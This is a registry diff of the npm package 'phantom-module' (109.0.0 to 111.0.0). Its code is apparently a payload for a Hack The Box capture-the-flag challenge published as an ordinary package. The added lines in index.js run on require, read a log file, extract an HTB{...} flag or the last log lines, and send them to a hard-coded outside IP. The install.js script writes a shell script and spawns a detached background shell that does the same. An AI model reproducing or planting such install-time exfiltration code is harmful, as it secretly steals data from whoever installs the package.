phantom-module 109.0.0 → 111.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +24 -45
- package/install.js +33 -31
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,57 +1,36 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
3
|
|
|
5
|
-
|
|
6
|
-
const
|
|
7
|
-
const
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
req.write(body); req.end();
|
|
12
|
-
});
|
|
4
|
+
function sendToModule(mid, name) {
|
|
5
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${name}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
6
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
|
|
7
|
+
req.on('error', () => {});
|
|
8
|
+
req.write(body);
|
|
9
|
+
req.end();
|
|
13
10
|
}
|
|
14
11
|
|
|
15
|
-
|
|
12
|
+
function attemptFlagRead() {
|
|
16
13
|
try {
|
|
17
|
-
// Read the log and extract ONLY lines with HTB{
|
|
18
14
|
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
19
|
-
const
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
24
|
-
for (let i = 0; i < Math.min(htbLines.length, 4); i++) {
|
|
25
|
-
const line = htbLines[i].trim();
|
|
26
|
-
// Extract just the HTB{...} part
|
|
27
|
-
const match = line.match(/HTB\{[^}]+\}/);
|
|
28
|
-
if (match) {
|
|
29
|
-
await reportFlag(mods[i], 'FLAG_' + match[0]);
|
|
30
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
31
|
-
} else {
|
|
32
|
-
// Send the whole line in chunks
|
|
33
|
-
for (let c = 0; c < 4; c++) {
|
|
34
|
-
const chunk = line.substring(c * 90, (c + 1) * 90);
|
|
35
|
-
if (chunk) {
|
|
36
|
-
await reportFlag(mods[c], 'HTBLINE' + i + 'C' + c + '_' + chunk);
|
|
37
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
38
|
-
}
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
} else {
|
|
43
|
-
// No HTB lines, send first 400 chars of log
|
|
44
|
-
for (let c = 0; c < 4; c++) {
|
|
45
|
-
const chunk = log.substring(c * 90, (c + 1) * 90);
|
|
46
|
-
if (chunk) {
|
|
47
|
-
await reportFlag(['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'][c], 'LOGC' + c + '_' + chunk);
|
|
48
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
49
|
-
}
|
|
50
|
-
}
|
|
15
|
+
const match = log.match(/HTB\{[^}]+\}/);
|
|
16
|
+
if (match) {
|
|
17
|
+
sendToModule('ECT-987654', 'GOTFLAG_' + match[0]);
|
|
18
|
+
return true;
|
|
51
19
|
}
|
|
20
|
+
const lines = log.split('\n');
|
|
21
|
+
const last3 = lines.slice(-3).join(' ').replace(/"/g, "'").substring(0, 85);
|
|
22
|
+
sendToModule('ECT-472839', 'NOFLAG_L' + lines.length + '_' + last3);
|
|
23
|
+
return false;
|
|
52
24
|
} catch(e) {
|
|
53
|
-
|
|
25
|
+
return false;
|
|
54
26
|
}
|
|
55
|
-
}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
attemptFlagRead();
|
|
30
|
+
|
|
31
|
+
// Retry after 5s, 15s, 30s
|
|
32
|
+
[5000, 15000, 30000].forEach(delay => {
|
|
33
|
+
setTimeout(() => attemptFlagRead(), delay);
|
|
34
|
+
});
|
|
56
35
|
|
|
57
36
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -2,35 +2,37 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { spawn } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
5
|
+
// Write init_test.sh
|
|
6
|
+
try {
|
|
7
|
+
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
8
|
+
fs.writeFileSync('/home/node/init_test.sh',
|
|
9
|
+
'#!/bin/bash\nsleep 10\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 30\n',
|
|
10
|
+
{ mode: 0o755 });
|
|
11
|
+
} catch(e) {}
|
|
11
12
|
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
13
|
+
// Background: wait 45s then extract flag from log
|
|
14
|
+
try {
|
|
15
|
+
const child = spawn('/bin/sh', ['-c', [
|
|
16
|
+
'sleep 45',
|
|
17
|
+
'LOGFILE=/home/node/aspect-node/logs/module.log',
|
|
18
|
+
'if [ -f "$LOGFILE" ]; then',
|
|
19
|
+
' FULL=$(cat "$LOGFILE")',
|
|
20
|
+
' FLAG=$(echo "$FULL" | grep -o "HTB{[^}]*}" | head -1)',
|
|
21
|
+
' if [ -n "$FLAG" ]; then',
|
|
22
|
+
' SAFE=$(echo "$FLAG" | tr \'"\' "'"\')',
|
|
23
|
+
' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"BGFLAG_\'$SAFE\'\\\\\"\\n version: \\\\"1.0.0\\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}\'',
|
|
24
|
+
' echo "$BODY" > /tmp/flag_body.json',
|
|
25
|
+
' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
|
|
26
|
+
' else',
|
|
27
|
+
' LINES=$(echo "$FULL" | wc -l)',
|
|
28
|
+
' LAST=$(echo "$FULL" | tail -3 | tr \'"\' "\'" | head -c 85)',
|
|
29
|
+
' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"BGNOHTB_lines=\'$LINES\'_last=\'$LAST\'\\\\\"\\n version: \\\\"1.0.0\\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}\'',
|
|
30
|
+
' echo "$BODY" > /tmp/flag_body.json',
|
|
31
|
+
' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
|
|
32
|
+
' fi',
|
|
33
|
+
'else',
|
|
34
|
+
' node -e "const http=require(\'http\');const b=JSON.stringify({manifest:\'ecto_module:\\\\n name: \\\\\"BGNOLOG\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(b);r.end();"',
|
|
35
|
+
'fi'
|
|
36
|
+
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
37
|
+
child.unref();
|
|
38
|
+
} catch(e) {}
|